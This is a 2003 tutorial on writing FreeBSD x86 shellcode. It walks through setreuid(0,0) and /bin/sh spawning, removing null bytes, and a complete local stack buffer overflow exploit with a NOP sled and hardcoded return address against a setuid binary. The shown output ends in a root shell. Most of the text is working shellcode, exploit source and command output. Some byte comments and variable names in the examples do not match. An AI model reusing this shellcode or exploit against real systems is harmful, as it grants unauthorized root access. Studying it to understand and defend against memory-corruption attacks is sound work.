[Disclaimer] This document is written for educational purposes, i am not responsible for your actions. Copyright (c) 2003, Gino Thomas (dairaen) http://nux-acid.org * All rights reserved. INDEX 1) Write Code in nasm/asm, or write in c & disassemble 2) How do i know how to call a syscall? 3) disassemble _start 4) Get the opcodes 5) Put the code together 6) Get rid of null bytes 7) Shell spawning 8) Proof of concept [FreeBSD Shellcode development] What? Another boring "howtowriteshellcode" Tutorial? Maybe, but the main difference to most tutorials out there is that i will cover FreeBSD and not Linux. If you need knowledge regarding Linux check the 1001 existing tutorials. Why to write your own shellcode? Yes, i know, you can download more than enough shellcodes in the wild, but what if you need something special? And too, if you can write your own shellcodes, you´re not depending on other ppl´s work and might learn new and interesting stuff. This tutorial ist quick&dirty, which means you should have at least some experience in the following points: * coding c * rudimentary asm (at least working of the stack & registers like myself) * unix & compiling (using strace, gcc, gdb) * know the sense and theory of buffer overflows Check some papers if you lack wisdom in any of the above points. First we want to code something easy and useful to show how it works. For this purpose we take the setreuid() syscall, which is needed to gain 0,0 permission if a suid drops its privileges (check 'man setreuid' for more info). 1) Write Code in nasm/asm You can write the code in different languages to get what you want (=native asm code). Since you´ll need native asm anyway, it would be best to write it directly native, but nasm is AFAIK better documented so our first example will be in nasm: -------------------------setreuid.s------------------------- section .text ; declaring our .text segment global _start ; telling where program execution should start _start: push dword 0 ; ruid 0 push dword 0 ; euid 0 mov eax, 126 ; call syscall setreuid() push eax ; push this value to eax call 7:0 add esp,8 ; clean stack (arguments * 4) push dword 0 ;exit code mov eax,0x1 ;system call number (sys_exit) push eax call 7:0 -------------------------setreuid.s------------------------- compile file to *.o: > nasm -f elf lin.s link the proc: >ld -e _start -o lin2 lin.o strace to see if all went well: > strace ./lin2 execve("./lin2", ["./lin2"], [/* 23 vars */]) = 0 setreuid(0, 0) = -1 EPERM (Operation not permitted) exit(0) = ? Thats what we wanted. The nasm code calls 2 syscalls, setreuid(0,0) & exit(0). The execve bevore is the execution of ./lin2, so not our code. Another way is to write the setreuid code in c and disassemble the prog to get the asm commands. 2) How do i know how to call a syscall? No problem, to call a syscall like setreuid you first need its id number and args, which can both be found in /usr/src/sys/kern/syscalls.master. Now begin to push the arguments from _right_ to _left_ on the stack. Got it? ...Ok, quick example: The setreuid() syscall should be called with 2 arguments, first for ruid, second for euid (naturally we want both 0 for root). So a correct call would be 'setreuid(0,0)'. Now check the native asm code. push $0x0 /* First we push the second arg ('0' for euid) on the stack */ push $0x0 /* now we push the first arg ('0' for ruid) on the stack */ mov $0x7e,%eax /* move the value of the syscall ('126' alias '$0x7e') to %eax */ push %eax /* push everything to stack */ lcall $0x7,$0x0 /* execute our syscall */ So, for a different syscall you just have to check the needed args and the syscall id, push the args from left to right on stack, set the correct id in %eax, push to stack and finally execute the call. If you understood this, it should be no problem to code other syscalls for your purpose. Next, get native asm: 3) disassemble _start > gdb lin2 GNU gdb 4.18 (FreeBSD) Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-unknown-freebsd"... (no debugging symbols found)... (gdb) disas _start Dump of assembler code for function _start: 0x0 <_start>: push $0x0 0x5 <_start+5>: push $0x0 0xa <_start+10>: mov $0x7e,%eax 0xf <_start+15>: push %eax 0x10 <_start+16>: lcall $0x7,$0x0 0x17 <_start+23>: add $0x8,%esp 0x1d <_start+29>: push $0x0 0x22 <_start+34>: mov $0x1,%eax 0x27 <_start+39>: push %eax 0x28 <_start+40>: lcall $0x7,$0x0 End of assembler dump. (gdb) nice, we now have native asm code (thats why i said it´s best to code asm directly) to extract our opcodes from. 4) Get the opcodes opcodes/machinecodes... whats that anyway? Since a buffer overflow tries to compromise a running process (like the famous IIS) on stack, the commands to execute must already be directly readable for the os. This 'directly readable' form is \x??\x??\x??, which you can extract from gdb. (gdb) x/bx _start 0x0 <_start>: 0x68 (gdb) x/bx _start+1 0x1 <_start+1>: 0x00 (gdb) x/bx _start+2 0x2 <_start+2>: 0x00 (gdb) x/bx _start+3 0x3 <_start+3>: 0x00 (gdb) x/bx _start+4 0x4 <_start+4>: 0x00 (gdb) x/bx _start+5 0x5 <_start+5>: 0x68 (gdb) x/bx _start+6 0x6 <_start+6>: 0x00 . . . 5) Put the code together Ok finally we have a somewhat 'dirty' but working example: 0x68 0x00 0x00 0x00 0x00 /* push $0x0 */ 0x68 0x00 0x00 0x00 0x00 /* push $0x0 */ 0xb8 0x7e 0x00 0x00 0x00 /* mov $0x7e,%eax */ 0x50 /* push %eax */ 0x9a 0x00 0x00 0x00 0x00 0x07 0x00 /* lcall $0x7,$0x0 */ 0x81 0xc4 0x08 0x00 0x00 0x00 /* add $0x8,%esp */ 0x68 0x00 0x00 0x00 0x00 /* push $0x0 */ 0xb8 0x01 0x00 0x00 0x00 /* mov $0x1,%eax */ 0x50 /* push %eax */ 0x9a 0x00 0x00 0x00 0x00 0x07 0x00 /* lcall $0x7,$0x0 */ -------------------------------------------------- /* freebsd setreuid(0,0) shellcode example Not optimized */ char setreuidcode[] = "\x68\x00\x00\x00\x00" "\x68\x00\x00\x00\x00" "\xb8\x7e\x00\x00\x00" "\x50" "\x9a\x00\x00\x00\x00\x07\x00" "\x81\xc4\x08\x00\x00\x00" "\x68\x00\x00\x00\x00" "\xb8\x01\x00\x00\x00" "\x50" "\x9a\x00\x00\x00\x00\x07\x00"; void main() { int* ret; ret = (int*) &ret + 2; (*ret) = (int) setreuidcode; } -------------------------------------------------- execute and strace the prog to see the setreuid syscall. 6) Get rid of null bytes (0x00 or \0) null bytes terminate a string in c which, in our case, should only happen after our /bin/sh string & args. So, how we get rid of them? Sorry to say, but theres no global solution, this time you really have an advantage if your´re a good asm coder. If not (like me) you have to find other ppl to convert asm commands that contain nullbytes to an equivalent instruction without. Example: 0x68 0x00 0x00 0x00 0x00 /* push $0x0 */ We used push to get '0' on the stack, as you can see the hexcode of push contains 4 null bytes. This would prevent every shellcode from getting executed properly. So, what can we do? - Find and equivalent without null bytes like 'xor %eax,%eax'. A value xor´ed by itself always gets zero, so we have found another way to set %eax zero, lets check if it contains null bytes or not: 0x31 0xc0 /* xor %eax,%eax */ It does not! So we found our first way to get rid of null bytes, replace all push $0x0 with xor: 0x31 0xc0 /* xor %eax,%eax */ 0x31 0xc0 /* xor %eax,%eax */ 0xb8 0x7e 0x00 0x00 0x00 /* mov $0x7e,%eax */ 0x50 /* push %eax */ 0x9a 0x00 0x00 0x00 0x00 0x07 0x00 /* lcall $0x7,$0x0 */ Ok, now replace lcall with int $0x80, it does the same (check the developers handbook for further info) 0x31 0xc0 /* xor %eax,%eax */ 0x31 0xc0 /* xor %eax,%eax */ 0xb8 0x7e 0x00 0x00 0x00 /* mov $0x7e,%eax */ 0x50 /* push %eax */ 0xcd 0x80 /* int $0x80 */ Nearly done and even smaller than bevore, last but not least we need a equivalent for pushing the syscallnumber on stack. Using %al instead of %eax produces code without nullbytes: 0x31 0xc0 /* xor %eax,%eax */ 0x31 0xc0 /* xor %eax,%eax */ 0x50 /* push %eax */ 0x31 0xc0 /* xor %eax,%eax */ 0x50 /* push %eax */ 0xb0 0x3b /* mov $0x7e,%al */ 0x50 /* push %eax */ 0xcd 0x80 /* int $0x80 */ finally we have optimized setreuid code without nullbytes: ----------------------------------------------------- main(){ __asm__(" xor %eax,%eax xor %eax,%eax push %eax xor %eax,%eax push %eax mov $0x7e,%al push %eax int $0x80 "); } ----------------------------------------------------- 172# gcc -g -o test test.c 172# /usr/local/bin/strace ./test execve("./test", ["./test"], [/* 22 vars */]) = 0 . . . setreuid(0, 0) = 0 sigprocmask(SIG_BLOCK, ~[ILL TRAP ABRT EMT FPE BUS SEGV SYS], []) = 0 sigprocmask(SIG_SETMASK, [], NULL) = 0 exit(0) = ? It works ;) Now test the same with extracted opcodes: ----------------------------------------------------- /* freebsd setreuid(0,0) example WITHOUT nullbytes */ char setreuidcode[] = "\x31\xc0" "\x31\xc0" "\x50" "\x31\xc0" "\x50" "\xb0\x7e" "\x50" "\xcd\x80"; void main() { int* ret; ret = (int*) &ret + 2; (*ret) = (int) setreuidcode; } ----------------------------------------------------- Works again, but segfaults _after_ executing setreuid(0,0) (check strace). We can ignore this, cause we will add the /bin/sh code directly after setreuid(). 7) Shell spawning To write the shellcode you have to know _what_ the syscall expects _where_ in memory. You can catch that by looking in /usr/src/sys/kern/syscalls.master and related func() files as mentioned above. If you finally know what is expected where, try to code that in asm or c & disas, and whenever possible, try to circumvent null bytes directly (as here using int $0x80 to call the kernel instead of lcall which contains many null bytes). xorl %eax,%eax /* get string terminator, see next section (= push $0x0) */ pushl %eax /* push it to stack */ pushl $0x68732f2f /* //sh to stack */ pushl $0x6e69622f /* /bin to stack */ movl %esp,%ebx /* write adr of string to %ebx where its expected by execve */ pushl %eax /* %eax ist still zero, use it to terminate above adr */ pushl %esp /* argv to stack */ pushl %ebx /* push the char **argv pointer to stack */ pushl %eax /* another zero for ENV */ movb $0x3b,%al /* move the execve syscall number (59) to stack */ int $0x80 /* trap, call the kernel - same as lcall but without nullbytes */ This time we not take lcall, cause it contains null bytes. A null byte will terminate a string in c, which is not our desire somewhere in the middle of our code. As you can see, the above setreuidcode (previous section) contains many nullbytes and would not work without optimizing in a real overflow situation. You too, could morph lcall to be without null bytes, but IMHO the int $0x80 trap will make it. >as -o sh.o sh.s >ls -o sh sh.o >./sh $ Now again, get the opcodes ---------------------shasm.c----------------------------- main(){ __asm__(" xorl %eax,%eax pushl %eax pushl $0x68732f2f pushl $0x6e69622f movl %esp,%ebx pushl %eax pushl %esp pushl %ebx pushl %eax movb $0x3b,%al int $0x80 "); } ---------------------shasm.c----------------------------- > gcc -g -o shasm shasm.c > ./shasm $ exit > gdb ./shasm GNU gdb 4.18 (FreeBSD) Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-unknown-freebsd"... (gdb) disas main Dump of assembler code for function main: 0x8048460
: push %ebp // Procedure prologue, do not use in shellcode 0x8048461 : mov %esp,%ebp // ... (saves the ret to stack, we don´t need to) 0x8048463 : xor %eax,%eax 0x8048465 : push %eax 0x8048466 : push $0x68732f2f 0x804846b : push $0x6e69622f 0x8048470 : mov %esp,%ebx 0x8048472 : push %eax 0x8048473 : push %esp 0x8048474 : push %ebx 0x8048475 : push %eax 0x8048476 : mov $0x3b,%al 0x8048478 : int $0x80 0x804847a : leave 0x804847b : ret End of assembler dump. (gdb) End of assembler dump. (gdb) x/bx main+3 0x8048463 : 0x31 (gdb) . . . and again put all that together: ----------------------------------------------------- /* freebsd /bin/sh shellcode example */ char code[] = "\x31\xc0" /* xor %eax,%eax */ "\x50" /* push %eax */ "\x68\x2f\x2f\x73\x68" /* push $0x68732f2f (//sh) */ "\x68\x2f\x62\x69\x6e" /* push $0x6e69622f (/bin)*/ "\x89\xe3" /* mov %esp,%ebx */ "\x50" /* push %eax */ "\x54" /* push %esp */ "\x53" /* push %ebx */ "\x50" /* push %eax */ "\xb0\x3b" /* mov $0x3b,%al */ "\xcd\x80"; /* int $0x80 */ void main() { int* ret; ret = (int*) &ret + 2; (*ret) = (int) setreuidcode; } ----------------------------------------------------- Now, we are ready! Merge the optimized setreuidcode and the /bin/sh spawn shellcode together ----------------------------------------------------- /* [FreeBSD setreuid proof of concept shellcode] optimized, does not contain any nullbytes Calls setreuid(0,0) Calls /bin/sh */ char setreuidcode[] = "\x31\xc0" /* xor %eax,%eax */ "\x31\xc0" /* xor %eax,%eax */ "\x50" /* push %eax */ "\x31\xc0" /* xor %eax,%eax */ "\x50" /* push %eax */ "\xb0\x7e" /* mov $0x7e,%al */ "\x50" /* push %eax */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xor %eax,%eax */ "\x50" /* push %eax */ "\x68\x2f\x2f\x73\x68" /* push $0x68732f2f (//sh) */ "\x68\x2f\x62\x69\x6e" /* push $0x6e69622f (/bin)*/ "\x89\xe3" /* mov %esp,%ebx */ "\x50" /* push %eax */ "\x54" /* push %esp */ "\x53" /* push %ebx */ "\x50" /* push %eax */ "\xb0\x3b" /* mov $0x3b,%al */ "\xcd\x80"; /* int $0x80 */ void main() { int* ret; ret = (int*) &ret + 2; (*ret) = (int) setreuidcode; } ----------------------------------------------------- compile, execute and strace the code: #strace shellcode . . . setreuid(0, 0) = 0 execve("/bin//sh", [], [/* 0 vars */]) = 0 . . . Now we have a working shellcode for real buffer overflow situations. 8) Proof of concept Finally we want to overflow a local binary with our shellcode to verify i am not talking nonsense here, ;) The vuln prog: ----------------------------------------------------------- main(int argc, char **argv) { char usage[1024]; sprintf(usage, "USAGE: %s -f flag [arg1]\n", argv[0]); printf("Usage %s", usage); return 0; } ----------------------------------------------------------- ----------------------------------------------------------- /* generic local buffer overflow exploit executes the recently created setreuid /bin/sh code against a lokal binary */ #include #include #include /* Buffer to overflow + 4 bytes eip where the ret is stored */ #define BUFFERSIZE 1025 int main(int argc, char **argv) { char buffer[BUFFERSIZE] = ""; char shellcode[] = "\x31\xc0" /* xor %eax,%eax */ "\x31\xc0" /* xor %eax,%eax */ "\x50" /* push %eax */ "\x31\xc0" /* xor %eax,%eax */ "\x50" /* push %eax */ "\xb0\x7e" /* mov $0x7e,%al */ "\x50" /* push %eax */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xor %eax,%eax */ "\x50" /* push %eax */ "\x68\x2f\x2f\x73\x68" /* push $0x68732f2f (//sh) */ "\x68\x2f\x62\x69\x6e" /* push $0x6e69622f (/bin)*/ "\x89\xe3" /* mov %esp,%ebx */ "\x50" /* push %eax */ "\x54" /* push %esp */ "\x53" /* push %ebx */ "\x50" /* push %eax */ "\xb0\x3b" /* mov $0x3b,%al */ "\xcd\x80"; /* int $0x80 */ /* fill our attackbuffer with NOP´s */ memset(buffer, 0x90 ,sizeof(buffer)); /* add the guessed ret at the end of our attackbuffer if the ret does not do its job, use gdb on *.core and look for 0x90. If you found them, use one of this offsets as return adress. */ *(long *)&buffer[BUFFERSIZE - 4] = 0xbfbffb21; /* push our shellcode to attackbuffer */ memcpy(buffer + BUFFERSIZE - 4 - strlen(shellcode), shellcode, strlen(shellcode)); /* shoot ;) */ execl("/exploiting/vul", buffer, NULL); return 0; } ----------------------------------------------------------- > ll total 17 -rwxrwxrwx 1 root admin 8189 Oct 22 14:36 exploit -rw-r--r-- 1 root admin 1868 Oct 22 14:36 exploit.c -rwsrwxrwx 1 root admin 6113 Oct 22 14:32 vul -rw-r--r-- 1 root admin 151 Oct 22 14:32 vul.c > id uid=1000(admin) gid=1000(admin) groups=1000(admin), 0(wheel) > ./exploit Usage USAGE: 1À1ÀP1ÀP°~PÍ1ÀPh//shh/binãPTSP°;Í!û¿¿³( -f flag [arg1] # id uid=0(root) gid=1000(admin) groups=1000(admin), 0(wheel) # uid of root! Thats it, feel free to send me suggestions/mistakes/questions/whateverregardingthisdoc